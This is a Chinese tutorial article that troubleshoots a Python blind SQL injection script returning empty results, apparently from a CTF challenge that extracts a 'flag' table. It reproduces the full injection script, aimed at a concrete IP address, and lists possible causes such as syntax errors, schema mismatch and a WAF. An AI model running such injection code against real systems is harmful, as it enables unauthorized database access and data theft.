SQL注入代码运行结果为空的原因是什么？如何解决？-Python教程-PHP中文网

SQL注入代码运行结果为空的原因是什么？如何解决？

DDD

发布： 2025-03-16 10:20:01

原创

546人浏览过

sql注入代码运行结果为空的原因是什么？如何解决？

SQL注入攻击结果为空：原因分析与解决方案

在进行SQL注入攻击时，经常会遇到查询结果为空的情况。这通常表示注入的SQL语句未能成功提取预期数据，或因某些因素导致无法获取有效信息。本文将分析一段示例代码，探讨其结果为空的原因并提出相应的解决方法。

代码分析

以下为示例代码：

import requests
import binascii

url = "http://110.41.8.154/"

def join(arr):
    return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr])

result = ["","","","","",""] #长度为列数，包括一条随机数列
result_i = 0
for i in range(1, 3000):
    min_value = 32
    max_value = 130
    last_tmp = ""
    for j in range(min_value, max_value + 1):
        tmp = result[result_i]
        result[result_i] = tmp + chr(j)
        payload = {
            "id": f"740-(({join(result)})>(select * from(select *, floor(1+rand(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))"
        }
        html = requests.get(url, params=payload)
        if "pk" not in html.text:
            if j == min_value + 1:
                result[result_i] = tmp
                result_i += 1
            else:
                result[result_i] = last_tmp
            break
        else:
            result[result_i] = tmp
        last_tmp = tmp + chr(j)

    #找不到目标主机
    if (result_i == len(result) - 1):
        break
    print(result)
print("final flag",result)

登录后复制

该代码旨在通过SQL注入获取目标数据库中的flag值。然而，运行结果却显示始终为空：

<code>['', '', '', '', '', '']
['', '', '', '', '', '']
...</code>

登录后复制

问题原因探讨

代码运行结果为空，表明每次注入尝试均未成功返回数据。可能原因如下：

因赛AIGC

因赛AIGC解决营销全链路应用场景

查看详情

SQL语句语法错误: 注入的SQL语句可能存在语法错误，导致无法正确执行。floor(1+rand(5)*500000) 和 where(xxx=221556) 部分尤其需要仔细检查。
数据库结构不匹配: 代码假设的数据库结构（表名、列名等）可能与实际情况不符。需要验证flag表和xxx列是否存在且名称正确。
服务器安全防护: 目标服务器可能部署了安全防护机制，例如WAF（Web应用防火墙），能够检测并阻止SQL注入攻击。
网络连接问题: 代码涉及网络请求，网络连接故障（例如目标主机不可达）也会导致空结果。
错误的判断条件: 代码使用 "pk" not in html.text 判断是否成功，这可能不是一个可靠的判断条件，需要根据实际返回结果调整。